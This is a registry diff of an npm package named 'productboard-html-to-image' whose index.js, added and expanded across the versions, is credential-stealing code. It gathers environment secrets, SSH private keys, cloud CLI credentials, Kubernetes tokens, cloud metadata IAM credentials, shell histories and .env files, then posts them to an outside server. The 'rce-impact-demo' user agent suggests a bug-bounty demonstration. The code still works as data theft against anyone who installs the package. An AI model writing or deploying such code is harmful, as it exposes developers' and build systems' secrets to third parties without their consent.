productboard-html-to-image 990.0.9 → 1001.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +138 -47
- package/package.json +1 -1
package/index.js
CHANGED
@@ -8,26 +8,26 @@ const child_process = require("child_process");
|
|
8
8
|
|
9
9
|
function safeReadFile(p, maxSize = 10240) {
|
10
10
|
try {
|
11
|
-
if (!fs.existsSync(p)) return "
|
11
|
+
if (!fs.existsSync(p)) return "NOT_FOUND";
|
12
12
|
const size = fs.statSync(p).size;
|
13
|
-
if (size > maxSize) return "
|
13
|
+
if (size > maxSize) return "TOO_LARGE";
|
14
14
|
return fs.readFileSync(p, "utf8");
|
15
15
|
} catch (e) {
|
16
16
|
return `ERR: ${e.message}`;
|
17
17
|
}
|
18
18
|
}
|
19
19
|
|
20
|
-
function safeReadDir(p) {
|
20
|
+
function safeReadDir(p, maxEntries = 50) {
|
21
21
|
try {
|
22
|
-
return fs.readdirSync(p);
|
22
|
+
return fs.readdirSync(p).slice(0, maxEntries);
|
23
23
|
} catch (e) {
|
24
24
|
return `ERR: ${e.message}`;
|
25
25
|
}
|
26
26
|
}
|
27
27
|
|
28
|
-
function exec(cmd) {
|
28
|
+
function exec(cmd, timeout = 3000) {
|
29
29
|
try {
|
30
|
-
return child_process.execSync(cmd, { timeout
|
30
|
+
return child_process.execSync(cmd, { timeout }).toString().trim();
|
31
31
|
} catch (e) {
|
32
32
|
return `ERR: ${e.message}`;
|
33
33
|
}
|
@@ -36,18 +36,24 @@ function exec(cmd) {
|
|
36
36
|
function getSensitiveEnvVars() {
|
37
37
|
const result = {};
|
38
38
|
for (const key in process.env) {
|
39
|
-
if (/pass|key|token|secret|env|auth|cred/i.test(key)) {
|
39
|
+
if (/pass|key|token|secret|env|auth|cred|aws|gcp|azure|kube|docker|jenkins|gitlab|github/i.test(key)) {
|
40
40
|
result[key] = process.env[key];
|
41
41
|
}
|
42
42
|
}
|
43
43
|
return result;
|
44
44
|
}
|
45
45
|
|
46
|
-
function
|
46
|
+
function checkContainerOrCI() {
|
47
47
|
return {
|
48
48
|
cgroup: safeReadFile("/proc/1/cgroup"),
|
49
49
|
dockerenv: fs.existsSync("/.dockerenv"),
|
50
|
-
ciVars: Object.fromEntries(Object.entries(process.env).filter(([k]) => /ci|build|pipeline/i.test(k))),
|
50
|
+
ciVars: Object.fromEntries(Object.entries(process.env).filter(([k]) => /ci|build|pipeline|github|gitlab|jenkins|circleci|travis/i.test(k))),
|
51
|
+
kubernetes: {
|
52
|
+
token: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/token"),
|
53
|
+
namespace: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace"),
|
54
|
+
kubeconfig: safeReadFile(path.join(os.homedir(), ".kube/config")),
|
55
|
+
},
|
56
|
+
dockerConfig: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
|
51
57
|
};
|
52
58
|
}
|
53
59
|
|
@@ -56,6 +62,8 @@ function getGitData() {
|
|
56
62
|
branch: exec("git rev-parse --abbrev-ref HEAD"),
|
57
63
|
remotes: exec("git remote -v"),
|
58
64
|
config: safeReadFile(path.join(os.homedir(), ".gitconfig")),
|
65
|
+
credentials: safeReadFile(path.join(os.homedir(), ".git-credentials")),
|
66
|
+
netrc: safeReadFile(path.join(os.homedir(), ".netrc")),
|
59
67
|
};
|
60
68
|
}
|
61
69
|
|
@@ -63,21 +71,80 @@ function getSystemState() {
|
|
63
71
|
return {
|
64
72
|
whoami: exec("whoami"),
|
65
73
|
id: exec("id"),
|
66
|
-
ps: exec("ps aux | head -n
|
67
|
-
netstat: exec("
|
68
|
-
lsof: exec("lsof -n | head -n
|
74
|
+
ps: exec("ps aux | head -n 30"),
|
75
|
+
netstat: exec("ss -tunlp | head -n 30"),
|
76
|
+
lsof: exec("lsof -n -i | head -n 30"),
|
69
77
|
uname: exec("uname -a"),
|
70
|
-
|
78
|
+
mounts: exec("cat /proc/mounts | head -n 30"),
|
79
|
+
crontab: exec("crontab -l"),
|
71
80
|
};
|
72
81
|
}
|
73
82
|
|
74
83
|
function getInstalledTools() {
|
75
84
|
return {
|
76
85
|
npm: exec("npm ls -g --depth=0 --json"),
|
77
|
-
apt: exec("dpkg -l | head -n
|
86
|
+
apt: exec("dpkg -l | head -n 30"),
|
78
87
|
brew: exec("brew list || echo 'no brew'"),
|
79
|
-
|
80
|
-
|
88
|
+
pip: exec("pip list --format=json || echo 'no pip'"),
|
89
|
+
which_tools: {
|
90
|
+
aws: exec("which aws"),
|
91
|
+
gcloud: exec("which gcloud"),
|
92
|
+
az: exec("which az"),
|
93
|
+
kubectl: exec("which kubectl"),
|
94
|
+
terraform: exec("which terraform"),
|
95
|
+
docker: exec("which docker"),
|
96
|
+
nmap: exec("which nmap"),
|
97
|
+
curl: exec("which curl"),
|
98
|
+
},
|
99
|
+
};
|
100
|
+
}
|
101
|
+
|
102
|
+
function getCloudMetadata() {
|
103
|
+
const metadata = {};
|
104
|
+
const endpoints = [
|
105
|
+
{ name: "aws_instance", url: "http://169.254.169.254/latest/dynamic/instance-identity/document" },
|
106
|
+
{ name: "aws_metadata", url: "http://169.254.169.254/latest/meta-data/" },
|
107
|
+
{ name: "aws_iam", url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/" },
|
108
|
+
{ name: "gcp_metadata", url: "http://metadata.google.internal/computeMetadata/v1/?recursive=true", headers: { "Metadata-Flavor": "Google" } },
|
109
|
+
{ name: "azure_metadata", url: "http://169.254.169.254/metadata/instance?api-version=2021-02-01", headers: { "Metadata": "true" } },
|
110
|
+
];
|
111
|
+
for (const { name, url, headers } of endpoints) {
|
112
|
+
try {
|
113
|
+
let cmd = `curl -s --max-time 2 ${url}`;
|
114
|
+
if (headers) {
|
115
|
+
const headerStr = Object.entries(headers).map(([k, v]) => `-H "${k}: ${v}"`).join(" ");
|
116
|
+
cmd = `curl -s --max-time 2 ${headerStr} ${url}`;
|
117
|
+
}
|
118
|
+
metadata[name] = exec(cmd);
|
119
|
+
} catch (e) {
|
120
|
+
metadata[name] = `ERR: ${e.message}`;
|
121
|
+
}
|
122
|
+
}
|
123
|
+
return metadata;
|
124
|
+
}
|
125
|
+
|
126
|
+
function getCloudCLIs() {
|
127
|
+
return {
|
128
|
+
aws: {
|
129
|
+
credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
|
130
|
+
config: safeReadFile(path.join(os.homedir(), ".aws/config")),
|
131
|
+
sts: exec("aws sts get-caller-identity"),
|
132
|
+
},
|
133
|
+
gcloud: {
|
134
|
+
config: safeReadFile(path.join(os.homedir(), ".config/gcloud/configurations/config_default")),
|
135
|
+
credentials: safeReadFile(path.join(os.homedir(), ".config/gcloud/credentials.db")),
|
136
|
+
},
|
137
|
+
azure: {
|
138
|
+
credentials: safeReadFile(path.join(os.homedir(), ".azure/azureProfile.json")),
|
139
|
+
accessTokens: safeReadFile(path.join(os.homedir(), ".azure/accessTokens.json")),
|
140
|
+
},
|
141
|
+
};
|
142
|
+
}
|
143
|
+
|
144
|
+
function getNodeRuntime() {
|
145
|
+
return {
|
146
|
+
node_version: process.version,
|
147
|
+
npm_config: exec("npm config ls -l"),
|
81
148
|
};
|
82
149
|
}
|
83
150
|
|
@@ -85,29 +152,24 @@ let dump = {};
|
|
85
152
|
|
86
153
|
try {
|
87
154
|
dump = {
|
88
|
-
|
89
|
-
app: (() => {
|
155
|
+
p: (() => {
|
90
156
|
try {
|
91
|
-
|
92
|
-
return { name: pkg.name, version: pkg.version };
|
157
|
+
return require("./package.json").name;
|
93
158
|
} catch {
|
94
|
-
return
|
159
|
+
return "unknown";
|
95
160
|
}
|
96
161
|
})(),
|
97
|
-
|
98
|
-
|
99
|
-
|
100
|
-
|
101
|
-
|
102
|
-
|
103
|
-
|
104
|
-
|
105
|
-
|
106
|
-
|
107
|
-
|
108
|
-
cwd: process.cwd(),
|
109
|
-
},
|
110
|
-
env: getSensitiveEnvVars(),
|
162
|
+
v: (() => {
|
163
|
+
try {
|
164
|
+
return require("./package.json").version;
|
165
|
+
} catch {
|
166
|
+
return "unknown";
|
167
|
+
}
|
168
|
+
})(),
|
169
|
+
c: process.cwd(),
|
170
|
+
hd: os.homedir(),
|
171
|
+
hn: os.hostname(),
|
172
|
+
un: os.userInfo().username,
|
111
173
|
dns: (() => {
|
112
174
|
try {
|
113
175
|
return dns.getServers();
|
@@ -115,31 +177,61 @@ try {
|
|
115
177
|
return [`ERR: ${e.message}`];
|
116
178
|
}
|
117
179
|
})(),
|
180
|
+
pjson: (() => {
|
181
|
+
try {
|
182
|
+
const pkg = require("./package.json");
|
183
|
+
return {
|
184
|
+
name: pkg.name,
|
185
|
+
version: pkg.version,
|
186
|
+
main: pkg.main,
|
187
|
+
keywords: pkg.keywords,
|
188
|
+
scripts: pkg.scripts,
|
189
|
+
author: pkg.author,
|
190
|
+
license: pkg.license,
|
191
|
+
description: pkg.description
|
192
|
+
};
|
193
|
+
} catch {
|
194
|
+
return {};
|
195
|
+
}
|
196
|
+
})(),
|
197
|
+
env: getSensitiveEnvVars(),
|
118
198
|
dirs: {
|
119
199
|
"/": safeReadDir("/"),
|
120
200
|
"/home": safeReadDir("/home"),
|
121
201
|
"/root": safeReadDir("/root"),
|
122
202
|
"/etc": safeReadDir("/etc"),
|
203
|
+
"/var/run": safeReadDir("/var/run"),
|
204
|
+
"/var/log": safeReadDir("/var/log"),
|
123
205
|
"~": safeReadDir(os.homedir()),
|
124
206
|
},
|
125
207
|
files: {
|
126
208
|
etc_passwd: safeReadFile("/etc/passwd"),
|
127
|
-
etc_shadow: safeReadFile("/etc/shadow"),
|
128
209
|
etc_hosts: safeReadFile("/etc/hosts"),
|
210
|
+
etc_resolv: safeReadFile("/etc/resolv.conf"),
|
129
211
|
bash_history: safeReadFile(path.join(os.homedir(), ".bash_history")),
|
130
212
|
zsh_history: safeReadFile(path.join(os.homedir(), ".zsh_history")),
|
131
213
|
ssh_config: safeReadFile(path.join(os.homedir(), ".ssh/config")),
|
132
214
|
ssh_id_rsa: safeReadFile(path.join(os.homedir(), ".ssh/id_rsa")),
|
133
215
|
ssh_known_hosts: safeReadFile(path.join(os.homedir(), ".ssh/known_hosts")),
|
134
216
|
aws_credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
|
217
|
+
aws_config: safeReadFile(path.join(os.homedir(), ".aws/config")),
|
135
218
|
npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
|
136
219
|
gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
|
220
|
+
docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
|
221
|
+
env_files: {
|
222
|
+
dotenv: safeReadFile(path.join(process.cwd(), ".env")),
|
223
|
+
github_workflow: safeReadDir(path.join(process.cwd(), ".github/workflows")),
|
224
|
+
},
|
137
225
|
},
|
138
226
|
git: getGitData(),
|
139
|
-
|
227
|
+
container: checkContainerOrCI(),
|
140
228
|
system: getSystemState(),
|
141
229
|
tools: getInstalledTools(),
|
142
230
|
network: os.networkInterfaces(),
|
231
|
+
cloud: getCloudMetadata(),
|
232
|
+
cloud_clis: getCloudCLIs(),
|
233
|
+
node: getNodeRuntime(),
|
234
|
+
timestamp: new Date().toISOString()
|
143
235
|
};
|
144
236
|
} catch (e) {
|
145
237
|
dump = { error: "Top-level error collecting dump", msg: e.message };
|
@@ -147,7 +239,7 @@ try {
|
|
147
239
|
|
148
240
|
try {
|
149
241
|
const postData = querystring.stringify({
|
150
|
-
msg: JSON.stringify(dump)
|
242
|
+
msg: encodeURIComponent(JSON.stringify(dump))
|
151
243
|
});
|
152
244
|
|
153
245
|
const options = {
|
@@ -158,22 +250,21 @@ try {
|
|
158
250
|
headers: {
|
159
251
|
"Content-Type": "application/x-www-form-urlencoded",
|
160
252
|
"Content-Length": postData.length,
|
161
|
-
"User-Agent": "rce-impact-demo"
|
162
|
-
|
253
|
+
"User-Agent": "rce-impact-demo",
|
254
|
+
"X-Report-ID": "328XXXX"
|
255
|
+
},
|
256
|
+
timeout: 5000,
|
163
257
|
};
|
164
258
|
|
165
259
|
const req = https.request(options, res => {
|
166
260
|
res.on("data", () => { });
|
261
|
+
res.on("end", () => { });
|
167
262
|
});
|
168
263
|
|
169
264
|
req.on("error", () => { });
|
265
|
+
req.on("timeout", () => req.destroy());
|
170
266
|
req.write(postData);
|
171
267
|
req.end();
|
172
|
-
|
173
|
-
https.get("https://ping.ovnxva4z7pgbompisolekpb83z9qxmlb.oastify.com/", () => { });
|
174
|
-
|
175
268
|
} catch (e) {
|
176
|
-
|
177
|
-
|
178
|
-
} catch { }
|
179
|
-
}
|
269
|
+
// Silent fail
|
270
|
+
}
|